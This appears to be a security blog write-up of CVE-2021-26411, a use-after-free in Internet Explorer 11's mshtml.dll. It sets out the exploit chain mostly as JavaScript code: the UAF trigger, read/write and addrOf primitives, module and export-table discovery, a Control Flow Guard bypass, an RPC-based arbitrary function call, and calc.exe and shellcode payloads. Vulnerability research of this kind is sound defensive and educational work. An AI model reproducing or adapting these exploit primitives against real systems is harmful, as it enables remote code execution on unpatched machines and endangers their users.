Skip to content
cveinternet exploreruafjavascriptrcebrowser-exploitationlazarus

CVE-2021-26411: Internet Explorer JavaScript Engine Use-After-Free RCE

6 min read

Test version: Windows 10 1809 17763.1

Overview

CVE-2021-26411 is a Use-After-Free vulnerability found in mshtml.dll, the library responsible for parsing and rendering in Internet Explorer 11. Microsoft disclosed the details after confirming that the North Korean APT group Lazarus had actively exploited this vulnerability in a targeted attack against security researchers.

The vulnerability resides in IE's JavaScript engine and allows an attacker to craft a malicious HTML page to achieve remote code execution. When an IE 11 user visits such a page, a double-free condition triggers memory corruption, ultimately enabling arbitrary code execution.


Vulnerability Analysis

This bug is triggered by a combination of DOM manipulation and JavaScript garbage collection. The core of the exploit is as follows:

  1. Type confusion via a valueOf callback — the exploit overwrites a DOM attribute's nodeValue with an object that has a custom valueOf function. When setAttribute triggers a type coercion, this callback runs mid-operation.

  2. UAF via clearAttributes() — calling ele.clearAttributes() inside the valueOf callback frees the attribute node that the engine still holds a reference to. This produces a dangling pointer.

  3. Heap spray + leak — the freed memory is reclaimed with attacker-controlled data (alloc1() / alloc2()), enabling a heap address information leak.

Trigger sequence:

att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        // Call clearAttributes() while the attribute is still in use
        // — frees the backing memory while a reference remains
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// Triggers the valueOf callback -> UAF
ele.removeAttributeNode(att)

Exploit Primitives

Memory Layout Helpers

The exploit builds a helper structure to read and write memory in a controlled fashion. All memory access goes through a DataView (god) anchored to a carefully crafted fake ArrayBuffer.

function read(addr, size) {
    switch (size) {
        case 8:  return god.getUint8(addr)
        case 16: return god.getUint16(addr, true)
        case 32: return god.getUint32(addr, true)
    }
}
 
function write(addr, value, size) {
    switch (size) {
        case 8:  return god.setUint8(addr, value)
        case 16: return god.setUint16(addr, value, true)
        case 32: return god.setUint32(addr, value, true)
    }
}

Address-of Primitive

By storing an object in a typed array and reading back the raw value, it leaks the heap pointer of an arbitrary JavaScript object:

function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}

Module Base Discovery

The exploit scans backward from a known pointer (obtained from a JS engine object's vtable) to find the base of a loaded DLL, verifying the MZ/PE signature:

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}
 
function isMZ(addr) { return read(addr, 16) == 0x5a4d }

Export Address Table (EAT) Walking

Once the module base is known, the exploit parses the PE export directory to find function addresses by name:

function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

Bypassing CFG

Internet Explorer's RPC runtime (rpcrt4.dll) is protected by Control Flow Guard (CFG). The exploit disables CFG for rpcrt4 by overwriting the __guard_check_icall_fptr pointer in the module's load configuration directory.

The core idea: rpcrt4!__guard_check_icall_fptr normally points to ntdll!LdrpValidateUserCallTarget. Replacing it with ntdll!KiFastSystemCallRet (a simple return stub) causes indirect calls through rpcrt4 to completely bypass CFG validation.

function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    // Change memory protection to PAGE_EXECUTE_READWRITE
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    // Replace LdrpValidateUserCallTarget with KiFastSystemCallRet
    // -> disables the CFG check for rpcrt4
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    // Restore the original memory protection
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}

RPC Call Primitive

The exploit abuses IE's internal RPC machinery (rpcrt4!NdrServerCall2) to call arbitrary functions with controlled arguments. It sets up fake RPC_MESSAGE, _MIDL_SERVER_INFO_, and PRPC_CLIENT_INTERFACE structures in heap memory, then triggers dispatch by calling normalize() on a crafted attribute object.

function call2(func, args) {
    readyRpcCall(func)         // Write the function pointer into the dispatch table
    var buffer = setArgs(args) // Pack the arguments into the RPC buffer
    call(msg)                  // Trigger NdrServerCall2 via normalize()
    map.delete(buffer)
    return callRpcFreeBuffer() // Extract the return value
}

The call() function places a fake object in the normalize vtable slot, calls xyz.normalize() inside a try/catch, and recovers by handling the expected exception.


Payload Execution

WinExec — Calculator PoC

With CFG disabled and a call primitive in hand, running an arbitrary Win32 API is simple:

var kernel32 = call2(LoadLibraryExA, [newStr('kernel32.dll', 0, 1)])
var WinExec = getProcAddr(kernel32, 'WinExec')
call2(WinExec, [newStr('calc.exe'), 5])

Testing showed that up to about 5 consecutive WinExec calls run reliably before heap state degrades.

Shellcode Execution

The exploit also demonstrates injecting a raw shellcode stub into an existing RWX region obtained from msi.dll.

var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
// mov eax, 0x1337 ; ret
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode)
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
alert(result.toString(16)) // 0x1337 popup

The shellcode path is proof-of-concept level; delivering real-world shellcode through this primitive would need further development (a custom allocator for executable pages, or a staged loader).


Full PoC Structure

The complete exploit is a single HTML file targeting IE 11:

<!-- IE Double Free 1Day PoC -->
<!doctype html>
<html lang="zh-cmn-Hans">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
 
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
 
// ... [helper functions: alloc1, alloc2, dump, read, write, addrOf, etc.]
// ... [RPC structures: cbase, cattr, PRPC_CLIENT_INTERFACE, _MIDL_SERVER_INFO_, etc.]
// ... [trigger: ele.removeAttributeNode(att) -> valueOf -> clearAttributes -> UAF]
// ... [primitive setup: god DataView, pArr, pAbf]
// ... [module discovery: jscript9, rpcrt4, msvcrt, ntdll, kernelbase]
// ... [CFG bypass: killCfg(rpcrt4)]
// ... [payload: WinExec('calc.exe') or shellcode]
 
</script>
</body>
</html>

Key Takeaways

  • This vulnerability is a textbook UAF: a JavaScript valueOf callback runs mid-DOM-operation and frees a node the engine still references.
  • The exploit builds a fake ArrayBuffer/DataView on top of heap-sprayed memory to achieve a full read/write primitive.
  • The CFG bypass is done by locating and overwriting the __guard_check_icall_fptr pointer in rpcrt4's load configuration. The bypass itself requires no memory permission violation.
  • The RPC call primitive is a clever technique specific to IE's COM/RPC infrastructure, enabling controlled native function calls without VirtualAlloc.

References